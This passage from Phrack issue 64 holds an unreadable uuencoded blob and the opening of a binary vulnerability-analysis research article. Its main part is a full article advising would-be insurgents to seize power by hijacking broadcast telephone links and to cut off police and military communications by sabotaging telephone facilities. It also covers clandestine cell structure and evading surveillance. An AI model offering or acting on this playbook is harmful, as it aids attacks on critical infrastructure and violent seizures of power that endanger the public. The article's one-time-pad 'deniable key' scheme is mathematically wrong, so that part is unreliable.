M-)[M_[[*\Q:X]UVT%##BS,!#P`89+9TQ+4@;*'D0%(MM42C40%:;S-"*GW)2 M2(>SD[W3-]W.1\IPX?NBMB^-V41MTNW`+W^VW+W>$C5?`'$MZD:.`IT>^WY, M#MO&0R%JM8AW([O!>-3MU.*9-X<"]0NR_\P!Z[7J9GKK74A/LB`RMSMCUP;>M9: M+C#DQ$MO.'2AA."JI7?!/P@S62;R[[\#CN/+:`F=0QLM?7`AQN%5`(![%/D` M.Q``F-%(#"=!?"&V"US\;3`0S99HMK<[G>W6!BF'_!`$_=BCMK;%AX-]L=%L M-WH-,ABKPX!B<`TT,(-=T;8X`$D?A$LR7G]*G;W-SF:W]5"=X>(I=6ZU6]UF M^]XZ,;/K8;2/2XF"O06C:1;1:2!@:A8'RV&D"!1(U9\'>/^?2%`.R#@6ZYPA M7N?\ZUCU3__9^&F[P9GRWO]G`]_R^W,<%!F7!+A`+#@P%V8K"@^C>DES!L&> M:.-(_`.X"HSL]`HC6@"!9J'EJF'>P*YC>A%0#BQ>%Y*FE]/55*WH\"7(1085 M\DN4E:Z#542/%H;WD#W>E2Z<`YI?QGA'`Z`YOY1Q,,-D8&#N8JP6+T9Y+[A= M!/`*M_(`MH^'=-+'\E7(I*PV^\!<%B'&SL1A+-P`3PF'J&SG,C`="4W>#/;, M8C]"MC2GYF+$TXV'.RJ,XB)D<&S**7;*7\5.[O_7)W_]YT'^4FW0>E)Y^`9R)HR.E7ZAX1ID2 M:%.8ETX!^;)QC=!30V[+P.V'>?4L*0I3)ED&4LJI9S+%8(`Y71@.0RZ1K6PY M52]-JQB:-V@-8^B*C)6LQ.Y`1A'&W!V&LZJ`2N0[O$SFTK5'6]5$Q8?!ZN+\ M[M[B%\&"[JSEEJ<$7;JJ0E_/+ZKZ)J&H5#BZX"RG"'WNFIK/M`RH M"-?&=]N]T+TU!]?H\OA!"":/RA4'%U8^_W(6C<=F5GJ!,V4VCV:`7`::M50B MG6_?/>K_*'Z!O^].JN:+-W]Q3_L_V"70Z2^/WQRDPA@5P=/E9$"!Q!\`VZ-P MJV8VD9N-T(SY/F7("(E4TY'ZH@AIO__#,0%,WQHI&&0#\T!&P@81;ID0AB*V>-#Y`_L M+5@@#)$)0?_H;P?'JOHU8[YQ=>J88;","7>5,A'%`T,RBVYX@+,C`@QAC.+\ M9*C'80VOQ[)XANV:=9VC:VH0K^4I%0=0#&D_0OGK"O)BD$1&C)=`#\6JJN,( MK?=DD$55C]5?21<$+.1'"&%;@S>.K#M7V7[(7).Q[LJ[XWT@*+=9E1T;)A-) M5:\6*+MR<]EBH,(9WQ>Z"H*96,PIT.1(1-.`50%(D10\$+(<1MZ0SAGE%@H% MF?!BR<[1.)0\;RGIS`S^%MRT39:0$D+I3=_%^UI5431WOLHP2)K'\#UGVKJ5 MUB9TF?Y3056,%\TQCHRBW,:@56JH*79719MKXYI[Z,6M._;RA M-/H"6.7+WP\@,UD;"T\7@AZ"UJA1P6RX;I`D1Y?Z]_26(A]`S#]8?YR ME=H^.>N_WS^N-M@A&"2?6W/BM4?\9.XU'H9A<6;Y`$V,T8-<2M"IE>T.Q^I0#Y--W,H^"D:HM/@V4 MIVZ('@4(5OI$.)Z\K7H4(%3KHR$1E]YT.`XX"HLHF9LQ;,Y1MTH^M/%2B:., MV0GUT60Y#?^YA'9=']X5'%HAR)<@AT4"R8\V=6N0(7.KP:H"E@2*8N48?7MS M?'0.?3L-X'V,ZFM2H\[NZ+X#PJ3]%;+V5EK`0ZW2;=L:Y*%*<^#"7!R?"#*9 MA1@,P^&3R&HMV$?:DW>S><^].UPYWLS;1`E;D"Z.$NMMXD;G_;-S#IQS_,/; M;7CKF,.*,8BD"YPDW-,`"/9JIZ"_?W+8$\^(CKUNO"DIZ$F)/62]/080/#O< M^PLT0>IS7%;V3]]"'@]MU^*Z^%&KKJ7F9X@"],128?.%J1SHN>9MB[R)!(J$ M;C0.5X3P4T'!06<6M@EZSI/N:]*J[,,V8O3>*K)TF0.5PLA3H&(C>7I,X40] MJQ>"E?.;;EL\*_]_W7./_O^+.0!ZR/ZKU6UJ^X\FWO]&_?]S_(>O\OPA'$UA M/CHNLHF_]MWOE65MDN(T]55.QV+`\,).9V;EM.QDR2V<=G)1TUY6@8W#;#S;?W^5Y]G_ MW[/_OV?_?\_^_Y[]__UW]O^')^SN4)WF?\'0;_0\9/_7V&SK]7^CV<+['YW- MY_W_5WGP_E>%32R``.8)"3A.38C#R(>%4QD_H_4MZC=?$G-XJ7Q#+=`D9X*7 M-^<8'X(N;F&ECD/>^_>36C.6P)`-:K3:VZU,-I> MSCOFM[J4#OTNH+9FPY#&Z,WQV[=G_7/A-%MV^KN]L[\*YU])]'EA"7I[1^=[ M1P>XV#M%;[KPIB'T3"]3SB!:3HU%.B0R!8'Z'DV%N$XZ!4I-?B1;,J7C1^0CTW MT%MQ=U(L&>7*F.852Q@?/K&.D)?%A/(MNZ((O-8LV`O,H6I1DF#-:Y[SY MQ37?A!1%N@(37Q:KHEBK3:/9/$)[6?5U[A?5U4B]1E6"Z?5,%3_OG[[;)7$; MBYR<-7?O&G>-GW[Z(W[]R][9]^[W![A\_GV7Z`+G?3'WU*:8DT\48:(NHOG= M@X5/]LZ_W\6N;*_']!MO'.@/21)&;!ROI[[B:Z.;T`!>>+B&(4F0@RA#!U'7 M,SI]&)%5(AZZ`1.;5S%<0>4CL`4L!K(18'"H#BK(ETFM*;TUD=\Z9#\J(!K= M(_'&4`"]'HV\*[S\@0["\!V?-LVWQ0+3&QP&AU@+1:1`4R08]*&TA-%C#FS2 M!0"O7$A04!,469:V7(*I62K2?-[>*;)5&^!C+/[8 MK8K2BQ=!#'10)+=P+"#SY$U&KG]PHBR3O`L/#^KX5@[G0ZL=E-\@)]<]6\:7 M'E;(#R=.HNNQH+:J^,>[U9``50"32*52]A(EE=,%AD/QQV8C70);'>=4\L=< M"J+"`YT3B594K*19-$M5!RF>^AS.@X7Z#(QFQ_RAY&W@;6&Q)/Y5,A8`F#GE M`DP>PZ-0(A(/%RY_U+NM9M?%FU"3<&'MM`:P$..9LXLF7/-PL%P$KELJD6>^ M89EK'RLQ[G`)+*+QUQSM.5%Y& M(#2SSXGAXTL@7]V06$L6LXP@#QOZD6S9+%(SZLJ4&8.PHLN0*RSQBBMZ)9*E M$@<@W;1>"B;>3,&)YL\E&?4G:73U"?TXN,=)!_K&_N_T*_*V__PM^VCLZ/OK[N^/W9_3MY/3@A[W["C?N>:5<7B;=W.7&2%UD MQ=Q*DI/H;'J$E6&!C-RDJJNB8%1%3,@C;>FZ,GFOZS#B1N+!MC;.R]3(X:"X MRD+BGU(Z^E2$P7''PND8&:)%%.B0Q/VO8!ZYN,\O9Q0"$(;1@FC=UO@/&?&8C=K?H)7&;0O;%B2L:%F19W?N MT-JUR>*&721,@OQ9P[-A1B%Z2\7EU).W.>D*!6*7O33)69%(4-(^0Q*]9#8V M%#2C)"A40LXI%8\LT^%A6;-')!MF1IZR75`B`R M'*6-%(1M6[JK5M&W[R?+M61\4]'Y5D7:)#+0A>JJ-T;G)2EB"%/2=HZ&U7P= M>E48S:M)J)R39CK'])A;T2BD?Z%%$Z%V`^P2DR5'R:!LC5+!_?&+(X=2@8I-8F`3P;?&"^6'.ZD(]K:0G6"H3<([N#EW83XW; M+N`#%M\2JQ3*KYJIL67=[BZ_WGE@6)/#CO2P0CF`"CD.>X5-:Q<4-M,;1<0F MH<3J8,)<[H=''Y#8//[QY*4K6$E=B;XB$R#T]U9=/C]?X&']?QQ,A^CD^DMK M_OFY7__?VF@FY_]==/P&+]O/\?^^SJ/B/XB$!$CS+]UUKE+]2UOH?T,%?EJK M'J&O_T?H[[.Z^N4TA.2']?Q3O*$3+#+N.U6ZX:F3[/?Q$$3=1C2.X#-1,B`_ MVJ2;D310;T]:>YUR_$/_].WA\8_N49_,%UK&N__Q[L38/!=_N@VV?KIM;/YT M.PK@9X0_R9$`RE^N+J$<<4-"V=;-LZO\O3=_[9^[A_TCV`J5;,@KJ\,ZX#)M M`8P)NN&?3+W-JYQ:RIG4<'8)V_D,=!11!,.)&,'L[V=O0*AR3_OG M@,D1/$&GV1:K,R)DC5L?>%*C[3<$#2/-F!%ZMY&4/`\`F&MOO`SJ]8(WGEUZ MVW\0]?5Y-!Z#@`8OM@6&-NOTVMT>B)\]9GP-P9>GML5&LY7*U=2YFDFN5J]@ M44/_N[WS@Q^DV8=[]/X=0*KJ+K`_4SJ#0$G_P\==!!T],0J8&.Y\`1L#CU2> M(#[A]*([)]BAUCBXACFIBXK29HLL%@I(1%L-_"E:*C9G?1VO/,]V^-<';PR; MCDDP77RD(CV@NZ!;%.F'BDTBNB=-:E7X%7*))I8`:H7&@H:F5BZ!P,+S1SE^ MN,>U"OJR8+/!?QL-57"H"C:M0@VHO0$%&T$Q"Q_J+&`42YB[S&T,?KK=A"G4 M:.5DE]V!'2^7@%:&!FB;$J3.2M`Z!)DLT^UR1;C?3+6%F:&9P2R5\ MQ%P;.Y_7E\NQ1D`5-<56(\W1ZOZD6NFTLZ.I'BP%3)`'5>;O>0#_BC)V*X-; M:,4;4ZFV3Z.>L`7,ZD]F>O1USLT-R+D%]3L.0?T/F![PM'K`L@-O[@/_56!T MVCC8@'8;C\V@5X![T$/:$7M5`(,E"%P:]*HVS M'")=X7SA:@X#LL`(MN()-]C`%:A7=#1H8ZJC*GDR/#V>/N(#[6S3%7X4"DBD MV[;&1HJ.@N%MTB10^BM=U$4" M/9AI-JKP&O04+E,\@$YP!"P&:BA?`7JW>#PWMG(G#Y6;13.&S9>];3,;:%I< M6K&9,9X\59/;JFO4T]HUIG,V?0KV?HFC/RR^1D+?G96=R3@%)ZQLM$T'> MZZ_0C5Z/^.]])2!KU:"?3LYZEX%'KC]/@ATHI@VT.1@4,WD!H0-&Z&!0Y1XD M.-VX'Z>>@=-V2XJK*.+@:CL,_'F`ZSFJW(/);,$.7X*Y*+4-T8#6^88U9^2R M[C'PK8U[EG1[/?<,6J8%DYB[XCNX3AJ9D`GT9/^2MDM\])HL0E#7:,"MBH3# M_E'/_U&2=Q,7:,^J\A\!B&2=WD839'L0S%]K)HEUFA/:UQ.::_?5>8M=>^OA MV@.H.?#M?%`G96S@B/G>E',B-CL]YG`R)PS:6%B\S4-Z(`,5N@7-L=M`=D63 MU3M(#&9Z*#=Z*Q9XF^,8HX0SO=5)244*#6,FRQ;-D%GYOIENTR5VM=UNB#\- M(PSJ`P+U:]WBIFJQ8TSG5(M-X.Z==*.M+]!HTU@-TXVB-5*SD6HU&'QNJT,0 MT3KVQ/C97L-F2/7QS%@C&U1!NG#"[+B(ERR7?EI:LY=![S:AYD:; M!9PL<%*JM8#CA5FVU&FL0HKF>U["LYMIHDQU@F;[8*SY)$Y,JQ^I9<=OZ^Q$ M%[G5FZ.#2[,>'5Q\FJ]U8YL]GH6]7HHH)$ON]1)!8Z0FH^0%&8I4+.%I+6^M M:'EK=Y0INZQ]H);J5;7SPBVEJA'LAH,TACCW*^POA0*KEHE+^"R@@9\.XBJ+4,!8I:51-)6(I( M@V@^Q%LLJ@3&OBRLW"5HL.1.`?9\:+8(=-"[=Y>P:I^`JH)F5B++SIY$+/,3 MB6MK"UFFU)YH".V])N_C?$L*&TBIR7^HJ*^+&K2;U2)DB)<7F415(]?.ML%3 M4COB7K)HAKHE5:[EYY>CO2#P0]]8Z',)[X'YTLKPB-2$:37UC'G\/'\\YVGW M\G9#)D>46QMK.Y&19BQMA*26QJE]]\5*T M16T64X"BI"+4XM%),"%%$UW:'Z+\8+2[H->]QF6RMFYFT!`,0ZA=SLN-5A:V M8:*'[0(9=0(8Q8;25*E<9*_1:VTV'NH]5I.#`1L!&1A-#.!P!J-T'AS-5GN+ MR0':&":(P.@AE(.[V,AV4?6^F7TEI]K&9@YBPB?!_``)/C!ZCZ@AB_75U/A( MFKD/6?>\VD02?@*R;`I?"6P^#AY&HCD#AEOYC1L$Z&<4JY+;&,MB.T.`!$>W MS5W8RDY2_U$([S2S,T?)X"W>!,K7XX@%IO'L(=K%6=O%60ORS&8;OTL-D,HX MI-G;[6VV6Z-N<*D+80'\Z4++W:W\0EO=5FO4&B4(#E9A+WX0T(0MT/T=VV9Q\$LV626; M!K98U99;F&3<7Y+7EY)Z/K."=;P^CA82XN`$"@=7\7*"NY74U2,?DDNIM`HY M%,2^3Y%.8S(#MR\[QX@.!Z\;P2>\<,0Y7^M/M5JYX#C8YJM=JO#5*W2^"-_Q M`@3\>?U:65SCMS7>BI1EGE=6IL2$_%_4[B>%9V7TRATMF5?+4W<]^!5;0I92 MJ65Y&3UC(AQF4L;!:$'6UJ2PDS3951=%VN M-:EI[,2K76W'8;;T*M>&8L>PF(7"RE(V!;MIP4VY=,/5/%#*.V2;JB?=!/TK M#@+1D?XLR4X@8#/4!.B\/I$O1;ZXUN2+:XB!]0[=7*MBR5>['2"F2LF^(E$I MPZLR#$*>!0CU^?$E).JY+<:R-&255J0O9@3)KO30R:F45)9L0>,-#6L(.:AA MJ&TTR-D]T>PC+-D=NOP1^5>)IU+\AM:P;C@%_$UW.`]Z1-\50!$.LP?JW[6' M/MG7X!UZ`%5=2`8)T;\M7@RI#[F#6I#^4N4LPLM&9!Q=RE*+$XY*WZK)Y@B; MZ16Y&`6I=U+35);!-R:A`G.C&X]V6EDH5Q&.0>FB0K^3W)Q8%K+R5>9$R*$= M9=G^)]$"P']&V)/;';"V;(NZ-IN$@M@'Q[2?=6`L'0`'':[L"C9#*^W)>*7B M[/C-7]W3O1^KP'?)7`F_,+H`6BQ#!KR.8^.+JZ&VH.IP6HC;+Q%>JG'ZKX8VJK19\-B'UI!7ZDSM4@`C3KAK/8Z MO$02VMAQ'/Z.SN/PX'M7='8X91'A]8-F5W]=N'B]+<,,Y?MPF`63RBVPH:ZJ ME0)<^]%8UX.HD^_B3#^*S:U6O=GMU5N-1KT)6)/0#E?W&'+@@-9>Z_4<\F7M MK&239-P-&6AYS*R/99MN2S)(SV?D@IY3A$U(9%&L@$%D3$F5;R<6TJQ$81^#6@D80#A])Y6 ML85BVJ'PLVO6_P<>MO_VO7@1+NY^&_/O!^R_VXU.LZO]OW39_AO#P#[;?W^% M1_I_T00@G%H--E.'Z$%"M.J=>JLEUOG#AA#OWNR=G;OOSMX>')[W3Y75MC0" M_XVLP#_'#%R(XO%X6!27@8>;P5$$8L8-5KM3%A:T&"YGFK%R3W5SL+R`5^@G M8'`')0(?=E71#$/ER(J@>S-8FCS_$J\6#;'6?V*<'70J,;VK4L#+E[&XN83B M8A2,%S+J:R0X/!,TO5VFNGZ$J@;H-PS0YJE])#H`89LR"I,)Q?2K^'(2#EUY MO4OU+.\="B_7Z)Y'^CU(BM`EH8K<1,NB^-8-9SZ[Q,+TRXDK'6.ELA)P%6._ MCEDQ46;]4*_7/]X'&2"KJ_8#M&O$,;X(%K&^XSH$K.+@7;&XR)N:&A2Z"*;! M''T$`.:#,G<&2]\`87E$,#[?4@MG[B264>MEK2BN`"X&A.H;&*``?1G153\H M3G[A20)7[MS*=378I_S$05O!RCG[QENA0`>EV6Y,'"@79>B_B4>VU!A>7>I`B M\-HZDXHM9_C5H#X],*)$\ZV]`"WZE5G.D%@``U#W/(@OV8,?D3R3L*)[ MBC3`-(^`QCSYR5T-DI_!#/D[>3Y!`"C^;ET<\'U/F&S#,9(&O4:\H=1$*,'R9MH?H4+);<#-<(,0;@) M&@]I'KU!1C+FNR>:K9XX;+I$M^@%DKB,I$IYIT,S-V\AZ9NB92$/*V%09_)< M>8E6V\&4Z()]="KJ40BAP>=-/G?_&*DUB@,-*RW+"T]Y90()!?`)_$X&FY94 M1Y/'K/0Z!+:"2X6$KN2-)U',RA#,+`6>*?%^*"?EBS+NCCBPN,8BTB/Z)8"9 M$O(M?"1+/0%+Q%!HF`G/24,UV`,NRG4].'B%]C_]N3=;1+/M?_T!FE^(=43^ M.I(5.:7]15S,@YF0:QM3'W\N[;_;*QLK;,/X@^.E/G."6=+6I/>VNOAGJV&4 M;#?4+UDR#6GV^=_X8%XFVA,,X`C[Y$Y5C.I!O:RZW*IWZQ6@`R+#`=X,7W#\ MD#OT,X"H!APMQ[`X(6LB2HWA!8=@@>5O@H0DRAV(4T$T$_>OI@[4TNNS0D;)IUIEQB='ZQ6Q)]V/2$V: M_=B>8K@J>72E5&SJ"`JJ.L'7,HAKYF%O"W:W#:C8$9"NZ@#E_6FPT"YD4E6Q M1X$3CR0<6CYAMOR?%"Y>UE,=(,6M>EQWY@T_V!A-SB%45\NB5LCA`Q)NRIO% M3\Z!!O>P;)^B70`7G[DLFZ-JFTG:>!P02FGK`ZLLN@G&3NOO\&D8W))>,DT$ MZ&B!Y*J12VT8F`7^`;M1+TY0BQ50RXZ#[8TPF)510&X=)M*6#Z$R"K^``?N@T$"J8\W\GQS?1)+BA31#] MVJZ5"Y_$.-C1AZG.D+P?NB!873GFD2#&>*%K(U5RQ1X;C6-'DJ_#(;J&&RU9 M38!N+1NW`V]857_6QH'V#NDX&BG.*)K%[CRZ=9*H852CD*B!'\()_!`RX.<\ M/\N@U/Q[32)0?RHE?G0[+9['9B?=`@%M!WA)6%RWXA'$<"Y M8:H2%[>3NCIA&0)V+T(D.W@*%-:G,L/$"LF[.T;;U&^H?QG/::<]H*,MW68S M=<(MY,DMH)`R9EU^UCZ*%S&?6M&)FT.G,?V_'9P;X51-+V?OWY)+P]9&EWL, M6P,?18O`1:DL&HUDDQ@DA=K$]1`(9[8C#\`PVP=9S<>J0.]M^JL\@D,GBW2* M\OZ$X['1&0H>[?FX;7>CP3]@4P%B[GA'X'G+`!W!E+#BJ@(0N\+)V("1+`J( M!L#5B#PV%6V)$OVUSHOJ4$E@QEV>-OI@J50D%3XY?,*Y1A706JTK*1OQY$:X M1Y6P*=X.7Y#5-V%2SXQ`<,,(PSHY[+S&B`RJ'@3I6ZZ/.R7KPR])?=D0N>J1 MH>[2R=Q>C/>B1K+BXHM8O%C"?Z0+`GW-1/T:X=Z`_!/NWD"2P67+G\QD=XD$ M3%QPG$^2DW3>2YK.`0TT584O9VGE&@\[U4O7]>*)ZY;8^ZK0/E\;Z+1P M6Q0G16!&-C6(M5V1&,KC6?`U'CS+*)S0CE-(=&_CZI%SJ-:\#[Y/R2EDK2G]T](RHBT,4']%*FI1TM84/!H%/-"F=;).K@]W MQ9I!0(*DSW7>T"S0#5^,2B<7L[JS"U@O!)T(JRHRLD"J/CPO)6\BZJE(52(I MKD+4U;"^31VIB!M/*2]1=1/X(9T4X-5Z9MKDSA.51*%5JU[7AKAG*CF*1;KF0RJU8M%JH7%2TUJ0N M?L2#CI<3V/#37H\VA7_FS6!;>/5)O0K5LIY(7C&^0_=Q"Z7WLZI&]0SIBL;+ MP2",+[4"S,BT7B`S,YM7=)1;:\<9!^0,CGD7KIW,(528PK/^_W3?O3\\/S@Y M/.B?.NW69K>71S,7N([F[%N@^](4+AP*35(.RT<`N\L:,#1D@)G=25SDX#YI M1T8_=!0)9G>S3H5,>@JI^M;)W"*GYU8V0H)0-BSX0&6&48RY:ZZ4UR[X&(#W M(^''':-0[?4*P9`=W#R1ODDME;-I[5LE'LJ`,MP^/LT?/%[-4P]=G[+EC-9_DUZ+HTSOWJ[ MX7#=YG%HZ,3&77R88YSE&BJ1WP/4DJ6!@-IQL]'\- ML#E<@Q0-JV%LW`X#;S@(@E%B\L0K"JT9M$`N9XETD@UIH>*/?\N[?=7]\6B:K950W2 M0M5238K4`]"C-U+J!+6!3/3TW<$^;*=B)7VKQ;7_P\&A^]W>B=-Q$F7SX=Y? MJ%-.49^5%NVWW8XC7W:-5QA>V&DUD]@1:)%WYCA8@4X\/#X^<7_8.W3(F18^ M(Z/`0?_(?CDH%,C>-KT]@%%#XD&?J^0:.=Q)*;,<&,O`3=P"5T&&BA MB!3SZ\+"T/-%8L,0&+C[M.#0$6,*Z:$1NREEM(GWK*HZK:'->A[,YJ@@<9*Y M,A'-*J/?L_/3_MZ[*L4R**"^S/147W`N5,(%)T#*2-M7BU*J6UJY@YFRRIUW M7`J/VI?S@`/@8(7$`A,-,W,FF4R(J<=Q#LLN6/J^K+),SEMS7\R:IZ04+H$Y M#$7"VR=EE*J8COS0/H/+*_"5%?8'V"V>X>L7L8%=T:PH?HS:L'E)D1W M]=6N4)R/%7LTG1-3^22GM1O0(RJS/VI0'5X>W[+83[8.R@H%ZL==G&FP0%Z\ M\=B!COP5D!2S**2S"B'N68JZG?2JX*AU`$G^<@*T6S*$ZBII-WB)>`.D?_[+ MV??OW%/+Y%]OR&D*I+9<)=Q;<1/FXB2MM5%CJBXA2&UM^6)DT*I45Z^@5GR; M:$C-$I)2-=J_,&UB(U6SQ7(:9I.`D*/-"I(?=! M3@M*655E5?K(,#BGY],]IPZ9G$N/Y3;2]A8+="]&1C@1&^08UE18K0(9Z/W[ M@$SGT&\-,+Q0LI4P`>:>W.R;*NLVBN*8W\=K7L MD>[8(8JJAET8M8YF)",^NI6TD0:0YX-1#8"$G<,!>S'D:OC(@X`ES&C9L%8S MAM&4$PN6D&AGRHB+`M`&X[@B M,9J'`)CA%#:"=64.Y#UCNY$I61U@"Z(Q,M8" M0BV.PEMHIU@G,T36?1,U#@(T_4+#K#%:1-R)Z,J[,PSI@.DN,31U>,O6R=@_ MX+].,F&)<'C2,MZY*9H&R*<=&683/TNENT3J:]',;!?N(8FGT`0=[OV:8:_5 MT@//?]7%*1CJPP#UA8@FP-P83:D!FQ?AE&=R>MYIN?XWF0'6AL?:(F4W/\Z3 M\6%TOJ`VCR5UFR:[)08HO$4.+$T-.ZVP^DA&3F!Y\H3.O!-58'*I[3`0;^6) M^QLZ*/YN[[NC_K?\,--UL&OHC!K0UB`>WC`.<.3+B_R7#T9PU/G"1:F1VJ4J M&(GAW^!E@J!JS,*8C9RWUT4)>HIWSI4%(^JR<;I7$VY`BP'9,M*V;GY7QEA4 M]_&>'Z>G^?G^7E^GI_GY_EY?IZ?Y^?Y>7Z>G^?G^7E^GI_GY_EY?IZ? HY^?Y>7Z>G^?G^7E^GI_GY_EY?IZ?Y^?Y>7Z>G\<]_Q=OV)(^``@"```` ` end ==Phrack Inc.== Volume 0x0c, Issue 0x40, Phile #0x07 of 0x11 |=-----------------------------------------------------------------------=| |=-----------------=[ The Revolution will be on YouTube ]=---------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ By Gladio ]=----------------------=| |=------------------------=[ ]=----------------------=| |=-----------------------------------------------------------------------=| Forget everything you know about revolutions. It's all wrong. Fighting a conventional war in an industrialized nation is suicide. Even if you could field a military force capable of defeating the government forces, the wreckage wouldn't be worth having. Think about mortar shells landing in chemical plants. Massive toxic waste spills. Poisonous clouds drifting with the winds. Fighting a war in your own backyard is just plain stupid. Notice how the super-powers fight each other with proxy wars in other countries. Sure it might be fun to form a militia and go play army with your friends in Idaho. Got some full-auto assault rifles? Maybe even mortars, heavy machine guns and some anti-aircraft guns? Think they can take out an AC-130 lobbing artillery shells from 12 miles away? A flight of A-10s spitting depleted uranium shells the size of your fist at a rate that makes the cannon sound like a redlined dirt bike? A shooting war with a modern government is a shortcut to obliteration. Most coups are accomplished (or thwarted) by skillful manipulation of information. There have been a number of countries where tyrants (and legitimate leaders) have been overthrown by very small groups using mass communications effectively. The typical method involves blocking all (or most) information sources controlled by the government, and supplying an alternative that delivers your message. Usually, you just announce the change in government, tell everyone they are safe and impose a curfew for a short time to consolidate your control. Announce that the country, the police and the military are under your control, and keep repeating it. Saturate the airwaves with your message, while preventing any contradictory messages from propagation. Virtually all broadcast media use the telephone network to deliver content from their studios to their transmitters. Networks use satellites and pstn to distribute content to local stations, which then use pstn to deliver it to the transmitter site. Hijacking these phone connections accomplishes both goals, of denying the 'official' media access, and putting your own message out. In cases where you can't hijack the transmitters, dropping the pstn will be effective. Police and military also use pstn to connect dispatch centers with transmitter towers. Recently, many have installed wireless (microwave) fallback systems. Physically shutting down the pstn just prior to your broadcasts may be very effective. This is most easily accomplished by physical damage to the telco facilities, but there are also non-physical technical means to do this on a broad scale. Spelling them out here would only result in the holes being closed, but if you have people with the skill set to do this, it is preferable to physical means because you will have the advantage of utilizing these communications resources as your plan progresses. Leveraging the Internet Most of the FUD produced about insurgence and the internet is focused on "taking down" the internet. That's probably not the most effective use of technical assets. An insurgency would benefit more from utilizing the net. One use is mass communications. Get your message out to the masses and recruit new members. Another use is for communications within your group. This is where things get sticky. Most governments have the ability to monitor and intercept their citizen's internet traffic. The governments most deserving of being overthrown are probably also the most effective at electronic surveillance. The gov will also infiltrate your group, so forums aren't going to be the best means of communicating strategies and tactics. Forums can be useful for broad discussions, such as mission statements, goals and recruiting. Be wary of traffic analysis and sniffing. TOR can be useful, particularly if your server is accessible only on TOR network. Encryption is your best friend, but can also be your worst enemy. Keep in mind that encryption only buys you time. A good, solid cipher will not likely be read in real time by your opponent, but will eventually be cracked. The important factor here is that it not be cracked until it's too late to be useful. A one time pad (OTP) is the best way to go. Generate random data and write it to 2, and only 2, DVDs. Physically transport the DVDs to each communications endpoint. Never let them out of your direct control. Do not mail them. Do not send keys over ssh or ssl. Physically hand the DVD to your counterpart on the other end. Never re-use a portion of the key. Below is a good way to utilize your OTP: Generate a good OTP (K), come up with a suspicious alternate message (M), and knowing your secret text (P), you calculate (where "+" = mod 26 addition): K' = M + K K'' = P + K C = K' + P Lock up K'' in a safety deposit box, and hide k' in some other off site, secure location. Keep C around with big "beware of Crypto systems" signs. When the rubber hose is broken out, take at least 2 good lickings, and then give up the key to the safety deposit box. They get K'', and calculate K'' + C = M thus giving them the bogus message, and protecting your real text. Operational Security The classic "cellular" configuration is the most secure against infiltration and compromise. A typical cell should have no more than 5-10 members. One leader, 2 members who each know how to contact one member of an 'upstream' cell, and 2 members who each know how to contact one member of a downstream cell. Nobody, including the leader, should know how to contact more than one person outside of their own cell. Never use your real name, and never use your organizational alias in any other context. Electronic communications between members should be kept to a minimum. When it is necessary, it should only be conducted via the OTP cipher. Preferably, these communications should consist of not much more than arranging a physical meeting. Meet at a pre-arranged place, and then go to another, un-announced place where surveillance is difficult, to discuss operational matters. Do not carry a phone. Even a phone which is switched off can be tracked, and most can be used to eavesdrop on discussions even when powered down. Removing the battery is only marginally safer, because tracking/listening gear can be built into the battery pack. If you find yourself stuck with a phone during a meeting, remove the battery and place both the phone and battery in a metal box and remove it from the immediate area of conversation. It never hurts to generate some bogus traffic. Gibberish, random data, innocuous stories etc., all serve to generate noise in which to better hide your real communications. Steganography can be useful when combined with solid crypto. Encrypt and stego small messages into something like a full length movie avi, and distribute it to many people via a torrent. Only your intended recipient will have the key to decrypt the stegged message. Be sure to stego some purely random noise into other movies, and torrent them as well. Hopefully you'll find this document useful as a starting point for further discussion and refinement. It's not meant to be definitive, and is surely not comprehensive. Feel free to copy, add, edit or change as you see fit. Please do add more relative to your area(s) of expertise. ==Phrack Inc.== Volume 0x0c, Issue 0x40, Phile #0x08 of 0x11 |=-----------------------------------------------------------------------=| |=--------=[ Automated vulnerability auditing in machine code ]=---------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=-------------------=[ By Tyler Durden ]=---------------------=| |=-------------------=[ ]=---------------------=| |=-----------------------------------------------------------------------=| I. Introduction a/ On the need of auditing automatically b/ What are exploitation frameworks c/ Why this is not an exploitation framework d/ Why this is not fuzzing e/ Machine code auditing : really harder than sources ? II. Preparation a/ A first intuition b/ Static analysis vs dynamic analysis c/ Dependences & predicates - Control-flow analysis - Data-flow analysis d/ Translation to intermediate forms e/ Induction variables (variables in loops) III. Analysis a/ What is a vulnerability ? b/ Buffer overflows and numerical intervals - Flow-insensitive - Flow-sensitive - Accelerating the analysis by widening c/ Type-state checking - Memory leaks - Heap corruptions d/ More problems - Predicate analysis - Alias analysis and naive solutions - Hints on detecting race conditions IV. Chevarista: an analyzer of binary programs a/ Project modeling b/ Program transformation c/ Vulnerability checking d/ Vulnerable paths extraction e/ Future work : Refinement V. Related Work a/ Model Checking b/ Abstract Interpretation VI. Conclusion VII. Greetings VIII. References IX. The code .::###########################################################::. Software has bugs. That is quite a known fact. ----------------------[ I. Introduction In this article, we will discuss the design of an engine for automated vulnerability analysis of binary programs. The source code of the Chevarista static analyzer is given at the end of this document. The purpose of this paper is not to disclose 0day vulnerability, but to understand how it is possible to find them without (or with restricted) human intervention. However, we will not friendly provide the result of our automated auditing on predefined binaries : instead we will always take generic examples of the most common difficulties encountered when auditing such programs. Our goal is to enlighten the underground community about writing your own static analyzer and not to be profitable for security companies or any profit oriented organization. Instead of going straight to the results of the proposed implementation, we may introduce the domain of program analysis, without going deeply in the theory (which can go very formal), but taking the perspective of a hacker who is tired of focusing on a specific exploit problem and want to investigate until which automatic extend it is possible to find vulnerabilities and generate an exploit code for it without human intervention. Chevarista has not reached its goal of being this completely automated tool, however it shows the path to implement incrementally such tool with a genericity that makes it capable of finding any definable kind of vulnerability. Detecting all the vulnerabilities of a given program can be intractable, and this for many reasons. The first reason is that we cannot predict that a program running forever will ever have a bug or not. The second reason is that if this program ever stop, the number of states (as in "memory contexts") it reached and passed through before stopping is very big, and testing all of of possible concrete program paths would either take your whole life, or a dedicated big cluster of machine working on this for you during ages. As we need more automated systems to find bugs for us, and we do not have such computational power, we need to be clever on what has to be analyzed, how generic can we reason about programs, so a single small analyzer can reason about a lot of different kinds of bugs. After all, if the effort is not worth the genericity, its probably better to audit code manually which would be more productive. However, automated systems are not limited to vulnerability findings, but because of their tight relation with the analyzed program, they can find the exact conditions in which that bug happens, and what is the context to reach for triggering it. But someone could interject me : "But is not Fuzzing supposed to do that already ?". My answer would be : Yes. But static analysis is the intelligence inside Fuzzing. Fuzzy testing programs give very good results but any good fuzzer need to be designed with major static analysis orientations. This article also applies 